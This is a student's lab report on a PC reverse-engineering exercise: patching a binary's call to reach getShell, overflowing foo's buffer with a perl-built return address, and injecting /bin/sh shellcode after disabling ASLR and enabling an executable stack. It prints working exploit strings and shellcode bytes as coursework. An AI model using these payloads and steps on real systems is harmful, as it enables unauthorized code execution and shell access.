Exp1 PC平台逆向破解 20175124符嘉讯

1.实践目标与基础知识

1.1实践目标

实践的对象是一个名为pwn20175124的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个不会运行的代码片段,getShell,会返回一个可用Shell。
实践的目标就是想办法运行这个代码片段。学习使用两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

 

三个实践内容如下:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

2.直接修改程序机器指令,改变程序执行流程

2.1准备工作

使用虚拟机功能中的备用文件夹,将主机中的pwn20175124共享到kali桌面中。

 

 

 

 

2.2反汇编可执行文件

接着开始反汇编文件,指令为objdump -d pwn20175124| more即可浏览反汇编后的文件(切记要在改文件所在文件夹下进行该指令),按ESC后输入/getShell即可跳到getShell这一行,如图所示:

 

 

 

 

 

 

观察分析:main内存地址80484b5,此处调用了foo函数,我们需要在此处修改为调用getshell函数,e8对应的应该是call指令,而后面四个机器指令对应foo函数。
执行文件时EIP寄存器会存放下一条指令的内存地址,而此处的下一条指令是调用的foo函数,因此这里需要将地址进行相对偏移,也就是说下一条指令的地址由内存地址80484ba(截图没有体现出来,就是80484b5下面一条指令)通过80484ba+d7ffffff=8048491变成8048491,所以这里的7d正是偏移地址。
所以要想使call指令调用getshell函数,需要修改偏移地址使EIP寄存器转至getShell函数,即求出804847d-80484b5对应的补码为c3ffffff。

2.3修改机器指令

使用vim指令vim pwn20175124编辑文件

 

 

 

然后按一下Esc键,在当前状态下允许用户输入命令。按:后输入指令%!xxd将用十六进制查看文件内容

 

 

 

输入/e8 d7定位命令位置

 

 

 

然后按下回车即可保持定位,然后按i进入编辑模式将d7替换为c3即可,然后记得需要转换16进制为原格式,命令为 %!xxd -r 之后输入 wq 保存退出。(注意如果不转换为原格式,会导致该文件不可执行)。

 

 

 

 

 

2.4验证实验结果

反汇编一下更改过的文件,发现此时main函数第四行确实调用的是getShell函数

 

 

 

执行一下修改过后的文件得到shell提示符$(在root模式下运行为#)

 

 

 

3.通过构造输入参数,造成BOF攻击,改变程序执行流

3.1实验原理梳理

主函数在调用foo函数时存在缓冲区漏洞,当我们输入过多的字符时,多余的字符就会覆盖掉原本留存在eip寄存器中的数值。而通过人为计算修改字符串可以做到将想要的内存地址覆盖eip寄存器的值,从而使下一步的跳转会转到目标函数

3.2实验步骤

重新复制共享文件夹中的pwn20175124覆盖桌面上的文件

输入apt-get install gdb安装调试功能

输入gdb pwn20175124进入调试界面,之后输入r输入内容,确认输入多少字符串后会覆盖到程序的返回地址。先输入一个比较长的字符串,看看程序会不会执行出错。(若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错)

 

 

 

图内为5的ASCII码16进制的值,这就说明了当前返回地址是四个‘5’。

这次输入字符串 8888888822222222444444446666666612345678再次确认

 

 

 

这里发现字符1234所处的位置会覆盖EIP寄存器,而且以从右至左的方式覆盖eip

3.3确认用什么值并进行构造来覆盖返回地址

寄存器显示时是按照16进制从高位向低位显示,事实上我们的阅读和书写习惯则是从低位向高位,所以需要从右至左每两字为单位阅读。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)即可实现跳转到getShell处执行代码,实际上我们需要输入的就是 11111111222222223333333344444444\x7d\x84\x04\x08 。由于有些要改写的字符串\x7d\x84\x04\x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入,通过管道符“|”,作为文件的输入。指令为:(cat input; cat) | ./pwn20175124

 

 

 

发现实验指令可以成功。

4.注入Shellcode并执行

4.1实验准备

输入apt-get install prelink安装设置堆栈的库并进行相应设置

 

 

 

execstack -s pwn20175124 //设置堆栈可执行

execstack -q pwn20175124 //查询文件的堆栈是否可执行

X pwn20175124 

more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

 

 

 

4.2构造payload

首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

接着在终端中注入这一段攻击buf (cat input_shellcode;cat) | ./pwn20175124

 

 

 

打开另一个终端进行调试

利用ps -ef | grep pwn20175124发现进程号为3162

输入gdb进入调试界面,然后输入attach 3162调试这个进程

 

 

 

 

 

接输入指令 disassemble foo 对foo函数进行反汇编。

利用break *0x080484ae设置断点,来查看注入buf的内存地址。

要回到刚开始的终端手动回车一下,这样程序就会执行之后在断点处停下来,然后回到调试的终端,输入指令c继续。

输入指令info r esp查看查看栈顶指针所在的位置,并查看改地址存放的数据

发现\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。由于采用anything+retaddr+nops+shellcode进行构造,所以地址是0xffffd8bc+4=0xffffd8e0

 

 

 

修改攻击代码
perl -e 'print "A" x 32;print "\xd0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellode

并将其输入到程序,指令为(cat input_shellcode;cat) | ./pwn20175124

运行成功,Shellcode注入成功。

 

5.实验收获及感想

 

在实验过程中,我遇到了无数的困难,如在进行最初的objdump指令时我直接将其输入了,然后系统提示我改文件不存在,我十分纳闷,因为那个文件好好的就在桌面上,我百度无果后自己慢慢地思考,发现是我没有进入桌面文件夹的缘故,在之后我就没有犯过这样的错误了,还有许多小错误,但我在充分的利用网络和参考同学的操作及老师的指导后我成功完成了此次试验,我感到非常的开心,因为这种自己拼尽全力所摘取的果实是最甜美的,希望我在之后的学习中也能以这种态度坚持下去。

6.什么是漏洞?漏洞有什么危害?
我个人觉得漏洞分为两类:一类是由于编程者或使用者在编程和使用中产生的错误,我称其为人为漏洞。二是由于系统或软件在其诞生前就已知晓却无法改进的错误,我称其为机械漏洞。有漏洞,就可能导致种种安全问题的发生,就可能导致各种损失,危害到个人乃至社会的安全。

posted @ 2020-03-08 01:46  符嘉讯  阅读(92)  评论(0编辑  收藏